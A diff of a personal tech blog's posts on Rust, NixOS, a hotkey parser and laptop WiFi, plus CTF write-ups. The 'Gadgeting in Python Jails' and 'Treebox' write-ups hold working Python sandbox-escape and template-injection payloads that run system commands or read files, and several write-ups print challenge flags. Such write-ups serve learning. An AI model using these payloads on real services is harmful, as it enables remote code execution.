less ergonomic since the programmer has to define a field in their class or
struct whose name is decided by the API.
The second route takes advantage of Rust's type system.
In Rust, enums can have different structures inside each variant. This allows
defining a macro that matches an enum variant to its respective function.
Here's how the use of the API might look like:
```rust
let m = multiplexer!(MyEnum {
Left(StructA) => function_a,
Right(StructB) => function_b,
});
```
The macro expands to generate a function that does the following:
- Wraps around the function in each arm so that they accept input through
a channel.
- Spawns these wrapped functions in their own coroutines, joining handles with
them.
- Optionally take a context as an input for cancellation of itself and
coroutines spawned by it.
- Uses a `match` block to dispatch the inner value of a struct to the respective
channel.
The macro would use the `quote!` macro to generate the match arm for each
variant like the following:
```rust
quote!(
match #enum_ident {
// loop over the arms in the macro call
#variant(#inner) => #inner_chan_tx.send(#inner);
// ...
}
)
```
Using the match statement inside the generated code allows the default exhaustive
checking of the variants. Programmers have the choice to explicitly opt out of
the exhaustive check using a catch-all branch like `_ => {}`.
In the above example, `m` generated by the macro is the handle to the function
that kickstarts the management of the routines.
## Partially Open Loop
A partially open loop is a function, spawned off as a coroutine, that takes a
collection of inputs and processes them to either produce outputs that it cannot
further process or more inputs which are fed back into itself. This process
continues until the collection of inputs gets completely exhausted.
{{< math PartiallyOpenLoop.svg >}}
This design can be implemented in multiple ways. The first
is to return an object with an enum attribute inside it or having a 2 element tuple with
the enum variant and the struct akin to function return types in *Go*.
Another way is to wrap the structures inside enum variants and explicitly tell the API
which variant implies further processing and which one implies a finalized output.
I advocate for defining a trait on an enum that wraps the output type of the
function which allows the API to call the associated method on the object to
know whether it is a input or a final output.
Consider the following trait:
```rust
pub trait PartiallyOpenLoop {
fn is_final(&self) -> bool;
}
```
This allows the API to call the `is_final` method of the object after each pass
and determine when it is ready to be sent off to the next layer.
# Conclusion
All of the above patterns are intentionally isolated, reusable components. This allows us to layer them one after the other in any order, any number of times (except for the collector).
Hopefully, this makes the application code easier to understand and debug by making (even the concurrent) code flow in a more linear fashion.
That's all for now. Bye!

View File

@@ -0,0 +1,121 @@
---
title: "Using an Android Phone as a webcam in NixOS"
date: 2024-03-10T08:47:08+05:30
draft: false
tags:
- Workflow
- Meta
- NixOS
- Android
---
I recently had to attend an online meeting for a software development event.
While my PC did have a decent microphone, the built-in camera has been damaged to the extent that the best it can capture is this:
![A blurry image taken from my scuffed camera](/pc-camera.avif)
No, it's not a close-up of the moon, it's the refraction caused by the scuffs to the lens plus other sciency stuff I'm not qualified enough to explain to you.
I was aware that one can use ADB to use an Android phone's camera as a makeshift webcam. Since I would need this ability for any future meetings as well, it was worth having the functionality packaged into a one click tool.
Enter NixOS. I have praised NixOS before and I'll do it again because of the sheer ease with which it allows me to create desktop entries for small scripts.
This is going to be relevant later but I'm going to assume that you're running NixOS with home-manager enabled if you're following along. First we have to [enable developer mode and USB debugging on our phone](https://developer.android.com/studio/debug/dev-options#enable).
To interact with our phone, we will need `adb` and `scrcpy` as dependencies.
If you have enabled flakes run the following:
```sh
nix shell nixpkgs#scrcpy nixpkgs#android-tools
```
If you don't have flakes enabled, run the following:
```sh
nix-shell -p scrcpy android-tools
```
Next, we connect our phone to our PC with a cable (or through ADB TCP/IP) and list all the cameras by running the following:
```sh
scrcpy --list-cameras
```
You must allow any prompt on your phone requesting access to it from the
computer, after which, you should see an output like the following:
```
[server] INFO: List of cameras:
--camera-id=0 (back, 4608x3456, fps=[10, 15, 24, 30])
--camera-id=1 (front, 2304x1728, fps=[15, 24, 30])
--camera-id=2 (back, 3264x2448, fps=[15, 24, 30])
--camera-id=3 (back, 1600x1200, fps=[15, 24, 30])
--camera-id=4 (back, 1600x1200, fps=[15, 24, 30])
--camera-id=5 (back, 4608x3456, fps=[10, 15, 24, 30])
--camera-id=6 (back, 4608x3456, fps=[10, 15, 24, 30])
--camera-id=7 (back, 4608x3456, fps=[10, 15, 24, 30])
```
Note down the number associated with the camera you want to use. Alternatively, you can also note whether the camera you wish to use is the front or the back camera.
Add the following to your `configuration.nix`:
```nix
boot = {
kernelModules = [ "v4l2loopback" ];
extraModulePackages = [ pkgs.linuxPackages.v4l2loopback ];
extraModprobeConfig = ''
options v4l2loopback exclusive_caps=1 card_label="Virtual Webcam"
'';
};
```
This enables the `v4l2loopback` kernel module to create a dummy video interface which allows us to route any video to this virtual camera.
In the extra options for this module, we have to add `exclusive_caps=1` to make sure that the virtual camera exclusively announces itself as an output device.
This is important for compatibility with services like Zoom and Google Meet.
In the home-manager config for your user add the following:
```nix
home.xdg.desktopEntries.andcam = {
name = "Android Virtual Camera";
exec = "${pkgs.writeScript "andcam" ''
${pkgs.android-tools}/bin/adb start-server
${pkgs.scrcpy}/bin/scrcpy --camera-facing=back --video-source=camera --no-audio --v4l2-sink=/dev/video0 -m1024
''}";
};
```
This creates a desktop entry with the name _"Android Virtual Camera"_ and runs
the script in the `exec` field.
Here's a breakdown of the script:
- The first line starts an ADB server required for `scrcpy` to pick up our device.
- The second line runs `scrcpy` to pass the phone's camera to the dummy virtual camera spawned by the `v4l2loopback` kernel module.
We can use a named camera with the `--camera-facing` flag as I did here for
the back camera using `--camera-facing=back`. If you noted a camera ID eariler,
you can replace the `--camera-facing=back` with `--camera-id=` followed by the
identifying number.
For example, if you were to use the camera with the ID 0, you would add the following instead:
```nix
home.xdg.desktopEntries.andcam = {
name = "Android Virtual Camera";
exec = "${pkgs.writeScript "andcam" ''
${pkgs.android-tools}/bin/adb start-server
${pkgs.scrcpy}/bin/scrcpy --camera-id=0 --video-source=camera --no-audio --v4l2-sink=/dev/video0 -m1024
''}";
};
```
Now rebuild your system and reboot.
That's it! Connect your phone to your PC and run on the _"Android Virtual Camera"_ menu entry.
I was impressed that this has been possible on Linux since 2018 while
[Microsoft is introducing this feature now to Windows 11](https://blogs.windows.com/windows-insider/2024/02/29/ability-to-use-a-mobile-devices-camera-as-a-webcam-on-your-pc-begins-rolling-out-to-windows-insiders/).
Remember kids, what Windows can be tomorrow, Linux is today. That's all for now,
see you around!

View File

@@ -0,0 +1,104 @@
---
title: "Compact XOR"
tags:
- AmateursCTF
- CTF
- Cryptography
date: 2023-08-24T18:05:59+05:30
draft: false
---
# Description
I found some hex in a file called fleg, but Im not sure how its encoded. Im pretty sure its some kind of xor…
# Exploration
We begin by creating a new rust project.
```sh
cargo new amateurs
cd amateurs
cargo add hex
cargo add itertools
```
Let's decode the hexadecimal contents of the file using the following Rust code:
```rust
fn main() -> Result<(), Box<dyn std::error::Error>> {
let bytes = hex::decode("610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944")?;
let stream = String::from_utf8_lossy(&bytes);
println!("{:?}", stream);
Ok(())
}
```
To execute the code, issue the following.
```sh
cargo run
```
This gives us a string with every other character being non-printable.
```
"a\u{c}a\u{15}e\u{10}r\u{1}C\u{17}F=s\u{12}v\u{13}s,s\u{3}a\u{2}e:b\u{17}t+p\u{1c}a\u{8}n\u{1a}e\u{1d}t+i\u{7}_/l\ri\u{7}_,i\u{e}h\u{1c}_g6\u{4}e\u{3}d\u{2}9D"
```
Notice how each odd numbered character spells out the corresponding character for an "amateursCTF{...}" flag.
```rust
let mut odd_bytes = bytes.iter().step_by(2);
let odd_bytes_vec: Vec<u8> = odd_bytes.clone().copied().collect();
let odd_characters = String::from_utf8_lossy(&odd_bytes_vec);
println!("{:?}", odd_characters);
```
This code gives us the following result:
```
"aaerCFsvssaebtpaneti_li_ih_6ed9"
```
On further inspection, it appears that the first character of the raw bytes, 'a', **xor**ed with the second byte, 0xC results in the character 'm'.
After this transformation, the first 3 bytes spell "ama" like the start of an "amateursCTF{...}" flag.
The above observation implies that every other character is the **xor** of its previous character and its original counterpart. Since **xor** is an involuntary function,
we can now reverse this transformation by **xor**ing them back with their previous characters.
```rust
let even_bytes = bytes.iter().skip(1).step_by(2);
let recovered = odd_bytes.clone().zip(even_bytes).map(|(a, b)| a ^ b);
let solution: Vec<u8> = itertools::interleave(odd_bytes.copied(), recovered).collect();
println!("{}", String::from_utf8_lossy(&solution));
```
The final code looks like the following:
```rust
fn main() -> Result<(), Box<dyn std::error::Error>> {
let bytes = hex::decode("610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944")?;
let stream = String::from_utf8_lossy(&bytes);
println!("{:?}", stream);
let odd_bytes = bytes.iter().step_by(2);
let odd_bytes_vec: Vec<u8> = odd_bytes.clone().copied().collect();
let odd_characters = String::from_utf8_lossy(&odd_bytes_vec);
println!("{:?}", odd_characters);
let even_bytes = bytes.iter().skip(1).step_by(2);
let recovered = odd_bytes.clone().zip(even_bytes).map(|(a, b)| a ^ b);
let solution: Vec<u8> = itertools::interleave(odd_bytes.copied(), recovered).collect();
println!("{}", String::from_utf8_lossy(&solution));
Ok(())
}
```
Running this code gives us the flag.
```
amateursCTF{saves_space_but_plaintext_in_plain_sight_862efdf9}
```

View File

@@ -0,0 +1,112 @@
---
title: "Edge cases? You Shall Not Pass!"
date: 2024-06-03T08:18:19+05:30
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
This post is a part of a series that explains the architecture of the config parser
I am building for swhkd as a part of Google Summer of Code. I highly recommend reading
through the previous posts as I'll be referring to them from time to time.
In the last post I talked about key attributes that can be used as prefix to denote
the timing of an event, on key press (`send` / `~`) or release (`on_release` / `@`). One nuanced
case we did not cover was the use of these attributes inside shorthands.
If a user is supplying a config file with a shorthand along with any of these attributes, should the
attribute remain outside the shorthand or be prefixed for each variant inside the shorthand? Consider
the following two cases: one where the attribute is outside the shorthand context
```
super + @{a, b, c-f}
...
```
and another with the attribute inside the shorthand context.
```
super + {@a, b, c-f}
...
```
We can notice that while the first case is easier to implement, the second case gives us more granularity where different keys can have different attributes.
However, this introduces another hidden complexity that we have to tackle, what if range bounds have different attributes? Take the following example:
```
super + {~a-@f}
...
```
What does it mean to have a range with the keypress send event for `a` to the keypress release event for `f`? Should the elided inbetweens have a `send` or an `on_release`
modifier? The original parser also conveniently sidesteps this entirely by not entertaining attributes in shorthands (bruh).
Since we can never be sure of what the user is trying to convey in such cases, our best attempt at handling this would be to simply throw an error to the user.
Thus, our new parser adds the ability to have attributes inside a shorthand as long as range bounds have the same attribute, all the while maintaining backward compatibility
with the older parser!
Now let's come to the second issue that I discovered during some manual testing this week. I supplied the following config to my parser
```
super + \+
mpv ~/Music
```
and to my horror, the parser parsed the following:
```
Binding [Modifier("super"), Key { key: "", attribute: KeyAttribute(0x0) }] → mpv ~/Music
```
Did you catch it? Take a closer look at the key field in the definition, the escaped key is parsed as empty for some reason.
It turns out that the escaped keys that were part of the `shorthand_allow` expression were not consistently exposed as a rule
for the code side. Thus, I forgot to parse them back as keys.
To fix this, we restructure the expressions for keys in normal and shorthand contexts.
```python
keys_always_escaped = _{ "\\~" | "\\@" | "\\+" | "\\\\" }
key_base = { keys_always_escaped | ^"enter" | ^"return" | ASCII_ALPHANUMERIC }
key_attributes = _{ send? ~ on_release? }
key_normal = { key_attributes ~ (key_base | "," | "-") }
key_in_shorthand = { !shorthand_deny ~ key_attributes ~ (shorthand_allow | key_base) }
```
This makes our life a tad bit easier because for every match of a `key_normal` or a `key_in_shorthand`,
we can easily extract the variants of `key_attributes` if any as well as the key itself from the `key_base` or `shorthand_allow`.
Finally, let get to unescaping the keys themselves. Initially, the idea was to use `unescape` function from the snailquote crate
since it allows unescaping any escaped sequence, be it ASCII or unicode. However, we quickly find that we also have to check
whether the keys we just unescaped are supposed to escaped in the first place.
It makes more sense here to write a small function ourselves to both check for values we know must be escaped as well as escaping
them.
```rust
fn unescape(s: &str) -> &str {
let chars: Vec<_> = s.chars().collect();
let ['\\', ch] = &chars[..] else {
return s;
};
// Pest guarantees this for us. Still keeping a bit of sanity check.
assert!(matches!(ch, '{' | '}' | ',' | '\\' | '-' | '+' | '~' | '@'));
&s[1..]
}
```
With this new function, our parser correctly unescapes the keys like so:
```
Binding [Modifier("super"), Key { key: "+", attribute: KeyAttribute(0x0) }] → mpv ~/Music
```
Okay, that's all for now. I know I was supposed to talk about modifiers. I will do that in
the next post because fixing this bug and keeping logs of why I did it felt more important.
See you soon!

View File

@@ -0,0 +1,166 @@
---
title: "Gadgeting in Python Jails"
tags:
- Python
- Sandbox Escape
date: 2021-12-09T09:52:29+05:30
draft: false
---
We've all been there. That one CTF that wants to test your object oriented skills by confining you to a python jail.
Additionally some might even keep `builtins` and `eval` out of reach.
[Here](https://www.youtube.com/watch?v=SN6EVIG4c-0) is a cool video explanation by @pwnfunction on server side template
injection wherein he mentions a way to "gadget" our way out of Flask's Jinja2 backend to get remote code execution.
Kudos to him for sharing this technique.
For those of you reluctant to watch a 10 minute video (although I'd highly recommend watching it), here's the gist of it:
```python
''.__class__
.__base__
.__subclasses__()[141]
.__init__
.__globals__['sys']
.modules['os']
.popen('id')
.read()
```
First, we get the class of the string, that is, the `str` class.
In python's object oriented world, every object inherits from the base class called `object`.
Here, we access that using the `__base__` magic (dunder) attribute.
Next, we list out all the subclasses of `object`, in other words, all the classes that inherit from this base class.
Choosing the `141`th element of the list `warnings.catch_warnings` (we'll come back to this later),
we list out its globals during initialization using
the `__init__.__globals__` attribute. Then we can get a handle to the builtin `sys` module, which uses the `os` modules
itself. After accessing the `os` module, we can invoke its methods. Here `id` the command being executed on the system.
Let's try it out.
```
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'
```
*What!? Does it not work?*
I noticed a similar behavior in CTFs that had python jails. It turns out that the index of the `warnings.catch_warnings`
class varies from one version to the other in python. A better idea would be if we dynamically picked the class from
the `''.__class__.__base__.__subclasses__()` list instead of hardcoding the index as `141`.
We can modify the gadget like so:
```python
next(
filter(
lambda x: 'catch_warnings' == x.__name__,
''.__class__.__base__.__subclasses__()
)
).__init__
.__globals__['sys']
.modules['os']
.popen('id').read()
```
which results in the following:
```
uid=1000(h) gid=1000(h) groups=1000(h),970(docker),998(wheel)
```
This solves the problem but what do we do when the jail restricts access to `warnings.catch_warnings`?
Expanding upon the aforementioned idea, we can look for other subclasses which make use of `sys`
by running the following:
```python
names = list()
for x in ''.__class__.__base__.__subclasses__():
if hasattr(x.__init__, '__globals__')
and x.__init__.__globals__.get('sys'):
names.append(x.__name__)
from pprint import pprint
pprint(names)
```
```python
['_ModuleLock',
'_DummyModuleLock',
'_ModuleLockManager',
'ModuleSpec',
'FileLoader',
'_NamespacePath',
'_NamespaceLoader',
'FileFinder',
'zipimporter',
'_ZipImportResourceReader',
'IncrementalEncoder',
'IncrementalDecoder',
'StreamReaderWriter',
'StreamRecoder',
'_wrap_close',
'Quitter',
'_Printer',
'WarningMessage',
'catch_warnings',
'_GeneratorContextManagerBase',
'_BaseExitStack']
```
Now that we have potential subclasses to latch onto, we can weaponize this.
The initial plan was to look for any of the above subclasses in the list, get a handle to one
of them, thereby executing the system commands.
```python
next(
filter(
lambda x: x.__name__ in [
'_ModuleLock', '_DummyModuleLock',
'_ModuleLockManager', 'ModuleSpec',
'FileLoader', '_NamespacePath',
'_NamespaceLoader', 'FileFinder',
'zipimporter', '_ZipImportResourceReader',
'IncrementalEncoder', 'IncrementalDecoder',
'StreamReaderWriter', 'StreamRecoder',
'_wrap_close','Quitter',
'_Printer', 'WarningMessage',
'catch_warnings',
'_GeneratorContextManagerBase',
'_BaseExitStack'],
''.__class__.__base__.__subclasses__()
)
).__init__
.__globals__['sys']
.modules['os']
.popen('id').read()
```
However, it would be better if we did not hardcode the values.
```python
next(
filter(
lambda x:
hasattr(
x.__init__,
'__globals__'
)
and x.__init__
.__globals__
.get('sys'),
''.__class__
.__base__
.__subclasses__()
)
).__init__
.__globals__['sys']
.modules['os']
.popen('id').read()
```
There you have it! This payload will work as long as there is at least one subclass in the subclasses list
which makes use of `sys`. With that, our object oriented quest has come to an end.
Thanks for giving this a read!

View File

@@ -0,0 +1,62 @@
---
title: "Treebox"
date: 2022-08-19T10:04:36+05:30
tags:
- Google CTF
- CTF
- Python
- AST
- Sandbox Escape
draft: false
---
This challenge asks for python code as an input, converts it into an AST (abstract syntax tree) and if there aren't any function calls or imports, executes the code. Our goal here is to avoid explicitly calling any functions yet reading the flag located at `flag`. We also can't import any modules explicitly. If we read the source code provided for the challenge, we can observe that the `sys` module is already imported. We can piggyback on this fact to use its modules.
We shall, however, first find all the modules in `sys.modules` that have a `get_data` like function in their `__loader__` attribute. To do so, we run the following locally:
``` python
import sys
for name, handle in sys.modules.items():
if loader := getattr(handle, '__loader__'):
for loader_function_name in dir(loader):
if 'get_data' in loader_function_name:
print(f"sys.modules['{name}'].__loader__.{loader_function_name}")
```
From the output we get, this looks the most promising:
```python
sys.modules["os"].__loader__.get_data
```
Now we can slowly assemble our exploit.
```python
import sys
class Read(BaseException):
# Set the addition operator to the str function
# so that we can use it to stringify bytes-like
# objects.
__add__ = str
# Set the division operator to os.loader.get_data method
# which can be used to read the raw bytes from a file.
__truediv__ = sys.modules["os"].__loader__.get_data
# Set the indexing operator to print, which we'll use to
# print the flag
__getitem__ = print
def __init__(self):
# Now we read the raw bytes of the file "flag"
# stringify it and finally print it
self[self + self / "flag"]
# Raise the exception
raise Read
```

View File

@@ -0,0 +1,172 @@
---
title: "Headache"
date: 2023-09-07T07:03:27+05:30
tags:
- AmateursCTF
- CTF
- Reverse Engineering
draft: false
---
This challenge involves reverse engineering a polymorphic binary, one that modifies its own instructions during runtime.
Essentially, the binary checks if the current character equals a known value and *xor* decrypts the next section where the
code jumps to. If the characters don't match, the logic short-circuits and the program exits.
This process of checking the character and decrypting the next branch continues like opening up a Matryoshka doll until
the last branch which returns instead of calling the decryption subroutine.
To begin, we need to have radare2 installed. Next, we will create a Python virtual environment and install the r2pipe package.
```sh
python -m venv env
source env/bin/activate # or activate.fish in my case
pip install r2pipe
```
We download the `headache` binary and place the following script in our working directory:
```python
import sys
import shutil
import binascii
import r2pipe
from dataclasses import dataclass
import struct
from typing import Optional
import os
if os.path.exists('headache_patched'):
os.unlink("headache_patched")
shutil.copy('headache', 'headache_patched')
r2 = r2pipe.open("headache_patched", flags=['-w'])
@dataclass
class Formula:
a: int
b: int
xor: int
def apply(self, flag):
a_exists = flag[self.a] is not None
b_exists = flag[self.b] is not None
if a_exists and not b_exists:
result = flag[self.a] ^ self.xor
if not valid_character(result):
return
flag[self.b] = result
elif b_exists and not a_exists:
result = flag[self.b] ^ self.xor
if not valid_character(result):
return
flag[self.a] = result
def unravel(base: int) -> (int, Optional[Formula]):
r2.cmd("af-")
r2.cmd("s {}".format(hex(base)))
r2.cmd("af")
pdr = r2.cmd("pi 10")
try:
r2.cmd("s +3")
exec(r2.cmd("pcp 1"), globals())
a = ord(buf)
r2.cmd("s +3")
b = 0
exec(r2.cmd("pcp 1"), globals())
if buf == b'\x7f':
r2.cmd("s +1")
exec(r2.cmd("pcp 1"), globals())
b = ord(buf)
r2.cmd("s +4")
exec(r2.cmd("pcp 1"), globals())
x = ord(buf)
f = Formula(a, b, x)
except:
base, None
jump_index = pdr.find("je ")
pdr = pdr[jump_index + 3:]
other_block = pdr[:8]
r2.cmd("s 0x" + other_block)
r2.cmd("af-")
r2.cmd("af")
# mov eax == b8 (one byte)
r2.cmd("s +1")
exec(r2.cmd("pcp 4"), globals())
xor_key = buf
r2.cmd("s +8")
# lea address is now in buf
exec(r2.cmd("pcp 4"), globals())
mutating_fn = struct.unpack("<I", buf)[0]
if mutating_fn == 0xffffffff:
return base, None
r2.cmd("s " + hex(mutating_fn))
while True:
exec(r2.cmd("pcp 4"), globals())
recovered = bytearray(x ^ y for x, y in zip(buf, xor_key))
unpacked = struct.unpack("<I", recovered)[0]
r2.cmd('wv {}'.format(unpacked))
r2.cmd("s +4")
if recovered == xor_key:
break
return mutating_fn, f
formulas = []
next_addr = 0x401290
while next_addr != 0x40261c:
next_addr, formula = unravel(next_addr)
if formula is None:
r2.quit()
r2 = r2pipe.open("headache_patched", flags=['-w'])
continue
print(hex(next_addr))
formulas.append(formula)
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_"
def valid_character(c: int):
return c < 256 and chr(c) in charset
flag = [None] * 61
for i, c in enumerate(map(ord, "amateursCTF{")):
flag[i] = c
flag[-1] = ord('}')
while not all(flag):
for formula in formulas:
formula.apply(flag)
print(''.join(map(chr, flag)))
```
Note that we begin our binary parsing from the address `0x401290` since that is where the first condition and subsequent decryptions begin.
We also allocate a list of 61 `None` singletons since the program exits if the input has a length other than 61.
Finally, we can run our script.
```sh
python main.py
```
Since Python is quite slow and my solution is not elegant, it will take anywhere between 2 to 4 minutes to decrypt all the sections. After this, we get the flag.
```
amateursCTF{i_h4v3_a_spli77ing_headache_1_r3qu1re_m04r_sl33p}
```

View File

@@ -0,0 +1,90 @@
---
title: "How I Use SWHKD in My Workflow"
date: 2024-08-01T17:17:31+05:30
tags:
- SWHKD
- Waycrate
- Wayland
- Google Summer of Code
- Workflow
- Video Editing
draft: false
---
SWHKD is the project that I have been working on for the past few months as a part of Google Summer of Code for this year.
Now that we are done with the development process, I want to talk about why I wanted to improve the project. Although
the easy answer is to get paid or to get a more production facing OSS development experience,
for me, the most important driving force is using it in my own workflow.
In hindsight, I should have talked about this earlier. You
see, I have been editing videos for my YouTube channel since March of this year. Granted, I take quite some time to churn out an entire video since
I am the only person in my _"team"_. Meaning, I have to perform all of the steps in the pipeline: the research, script, animations,
voiceover and video editing.
At some point, the frustration kicked in when I found myself doing the smallest of actions in my editor using
the cursor. While the cursor can be a nice tool in many cases, some actions like removing the space between two clips are better
suited for keyboard shortcuts. So that week, I learned the keybindings of my video editor, Kdenlive.
I also changed the keybindings for a lot of actions like snapping the playhead to the start or end of a clip as `a` and `d` respectively.
I borrowed quite a bit of the movement keybinds from gaming since, just like gaming, my left hand is on the left half of the keyboard
but the right hand is controlling the mouse pointer.
> Tip: Avoid shortcuts that require you to raise your hand. Raising your hands adds friction in the way of video editing.
My biggest gripe is that till date, there is no way to record multiple operations and bind then to a keyboard shortcut.
## Enter SWHKD
To make my workflow as fast as possible, I have an entire config to perform these recorded _"macros"_ with at shortcuts involving at most two keys.
Take the example of a ripple cut which involves removing the part of the clip before the playhead ...
![](/video-editing-workflow-0.avif)
... and shift the rest of the clips back to where the original one started.
![](/video-editing-workflow-1.avif)
With my current setup of Kdenlive, I have to perform 3 keypresses back to back to do this:
- `r` to use the ripple tool
- `q` to make the cut and perform the shift
- `s` to go back to using the selection tool
However, SWHKD combined with `ydotool` allows me to do this in a single (or two depending upon how you seen it) keypress of `Shift` `Q`.
Whenever I'm editing a video, I'll launch a script that start `swhkd` with my Kdenlive config.
```bash
swhks &
sudo sh -c "(ydotoold -P 0622 &);"
pkexec swhkd --config $PWD/kdenlive.swhkd
```
The Kdenlive config defines a mode which I have to explicitly enter using `Super` `k` at the start of video editing so that at some point
of time, if I get derailed into research, I can exit the mode with the same keypress.
```
mode kdenlive
shift + q
# 19, 16, 31 = r, q, s
sleep 1 && \
YDOTOOL_SOCKET=/tmp/.ydotool_socket ydotool key 19:1 19:0 && \
YDOTOOL_SOCKET=/tmp/.ydotool_socket ydotool key 16:1 16:0 && \
YDOTOOL_SOCKET=/tmp/.ydotool_socket ydotool key 31:1 31:0
super + k
notify-send "exiting kdenlive mode" && @escape
endmode
```
Inside the mode, when I press `Shift` `Q`, the input event codes for the
respective keys are sent using `ydotool` and I get a pretty seamless experience.
Of course you can extend this to whatever actions you find yourself performing
most often while editing videos or any other task for that matter. To save you
the trouble of searching for the input codes like 19, 16 and 31 used here, check
out this [kernel source file](https://elixir.bootlin.com/zephyr/v3.7.0/source/include/zephyr/dt-bindings/input/input-event-codes.h) which defines the input
event codes for keys and mouse buttons. Also, yes there is a small delay you should
keep before sending other keys because I have often found my input overlap with the
scripted keypresses.
Okay that's about it for now, hope you enjoyed this little sneak peek into how I'm making
my videos. Bye!

View File

@@ -0,0 +1,123 @@
---
title: "Humans Suck at Command Sanitization"
date: 2024-07-17T07:55:34+05:30
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
Hello and welcome to the eighth instalment in the series where we build a parser
for a domain specific language in Rust. Id highly recommend going through the
previous articles to make sense of what well talk about today.
Previously, we had built the scaffolding for modes to bind shortcuts to. Today,
we'll create the mechanism to invoke commands in the contexts of the modes that
can be built.
Now, SWHKD has a clever way to enter (and escape) mode contexts with inside commands
by chaining subcommands and mode instructions with double ampersands. Consider the following example:
```
super + a
ls && @enter mysecretmode && cowsay 'hehe' && @escape
```
In the command for the above binding, we'll run the `ls` command followed by a double ampersand.
Anything following a double ampersand can either be a normal command or a mode instruction beginning
with an `@` sign. In our case, we have a mode instruction that asks the daemon to enter `mysecretmode`,
then we run the `cowsay` command and subsequently escape the mode using the `@escape` instruction.
Our goal for today is to modify the behavior of the command expression to account for this behavior.
Recall that we had already baked in the shorthand functionality into the command expression. Thus,
we need to be extra careful whem implementing this new behavior.
Since we'll need to negate the double ampersands because of the greedy algorithm used by pest, let's create
an expression for the double ampersands instead of having to use the literal string everywhere.
```
command_double_ampersand = { "&&" }
```
First, let's create a model for a standalone subcommand that is neither a shorthand nor a mode instruction.
```
command_standalone = { (!shorthand_bounds ~ !command_double_ampersand ~ not_newline)+ }
```
Now any chunk that translates into a command after _"compilation"_ is placed under the wrapper expression of
a `command_chunk`.
```
command_chunk = _{ command_shorthand | command_standalone }
```
This includes the `command_standalone` expression since it compiles to itself without any
changes as well as the `command_shorthand` expression since it compiles into multiple variants of a subcommand.
Read the previous posts to see how those are implemented.
Now let's model the mode instructions. The `@enter` instruction requires a modename to actually enter. Thus, we'll
enforce that rule in the grammar as well.
```
enter_mode = { "@enter" ~ WHITESPACE ~ modename }
```
The `@escape` instruction on the other hand requires no modename since it just escapes the current mode.
```
escape_mode = { "@escape" }
```
Now to merge these two into a single expression, we'll make sure to trim off any excess whitespace between these
instructions and the double ampersands with a `WHITESPACE?` expression.
```
mode_instruction = _{ WHITESPACE? ~ (enter_mode | escape_mode) ~ WHITESPACE? }
```
Contrary to these instructions, a standalone command or command shorthand will not trim any spaces since we can't
make any assumptions over whether the spaces are actually significant to the execution of the command itself.
Now anything between the double ampersands can either be a mode instruction or one or more of these command chunks.
```
command_chunks_or_mode = _{ mode_instruction | (command_chunk*) }
```
The underscores before some of these expressions mean that they aren't public to the code side and are more of a
convenience for what we're about to build next. Finally, we can build an expression for a single line of command.
```
command_line = _{ command_chunks_or_mode ~ (command_double_ampersand ~ command_chunks_or_mode)* }
```
Since a binding definition will always have the command indented with spaces, most text editors as well as a general
sense would suggest that multiline commands must also have each of their lines indented. Consider the same example
as before except that each subcommand is put on a new line.
```
super + a
ls \
&& @enter mysecretmode \
&& cowsay 'hehe' \
&& @escape
```
Notice the lines have equal indentation. For such multiline commands, we'll write a final expression to trim the
leading spaces for the commands to retain their semantics.
```
command = ${ NEWLINE ~ WHITESPACE+ ~ command_line ~ (escape_lf ~ WHITESPACE+ ~ command_line)* }
```
The newline and whitespace is what comes immediately after a binding declaration (here, `super + a`). This is followed by a
line of command that can be run. The `WHITESPACE+` between the escaped line feed (trailing slash and newline) and the next
line of command is what trims out the leading spaces.
Okay, that was all for now. In the next post, I'll elaborate on how to extract these mode instructions sprinkled throughout
commands in the code side of this endeavor. See you around.

View File

@@ -0,0 +1,103 @@
---
title: "I Solemnly Swear to Never Buy a Gaming Laptop Again"
date: 2024-06-07T17:01:01+05:30
draft: false
tags:
- Workflow
- Rant
- Linux
- Laptops
- Kernel Modules
---
Around half a decade ago, I bought an Asus gaming laptop, one I'm currently using to write this article.
Although it came preinstalled with Windows, I never let it even boot and instead opted for linux. Bill Gates can cry a river.
Despite switching distros multiple times, one sporadical issue my setup suffered from
was the wireless card dying after a few minutes of booting the box. The only solution to this was to reboot my computer, classic!
![A dramatic re-enactment of the WiFi card dying](/cry.gif)
The wireless card in question was a Realtek card (of course it has to be those clowns) handled by the `rtw88_8822ce` kernel module
under the `rtw88_pci` namespace. Scouring through online forums, I discovered that these clowns were so clever, they
engineered their WiFi cards to enter low power or sleep mode when it thinks the card is not in use. Some forums stated that this behavior
could be disabled by changing the kernel parameters. To do this, I needed to look for available kernel parameters using the
`modinfo` command. Finding the name of the kernel module in question can be a hit or miss. I found reading the description of the modules
from the `lsmod` command to be reliable.
After finding out the module, `rtw88_pci` in my case, you can run `modinfo` to learn the details of the kernel parameters.
```sh
modinfo rtw88_pci
```
```
filename: /run/booted-system/kernel-modules/lib/modules/6.6.32/kernel/drivers/net/wireless/realtek/rtw88/rtw88_pci.ko.xz
license: Dual BSD/GPL
description: Realtek PCI 802.11ac wireless driver
author: Realtek Corporation
depends: rtw88_core,mac80211
retpoline: Y
intree: Y
name: rtw88_pci
vermagic: 6.6.32 SMP preempt mod_unload
parm: disable_msi:Set Y to disable MSI interrupt support (bool)
parm: disable_aspm:Set Y to disable PCI ASPM support (bool)
```
Here, the `disable_msi` parameter can be used to disable [MSI](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-message-signaled-interrupts), which is a PCI message signaled interrupt system alternative to line
based interrupts. The `disable_aspm` similarly disables ASPM (Active State Power Management) which _"saves power"_ when my system is _"idle"_.
Gee thanks, I hate it.
The network card deaths became more sporadic after setting `disable_aspm` to `Y` but they were not completely eliminated. Another bonus is my
computer straight up lagging when these devices die. Why? Because this:
> While ASPM brings a reduction in power consumption, it can also result in increased latency as the serial bus needs to be 'woken up' from low-power mode, possibly reconfigured and the host-to-device link re-established. This is known as ASPM exit latency and takes up valuable time which can be annoying to the end user if it is too obvious when it occurs.
>
> \- Wikipedia
How could I confirm this? Take a look at the output of the `dmesg` command:
```
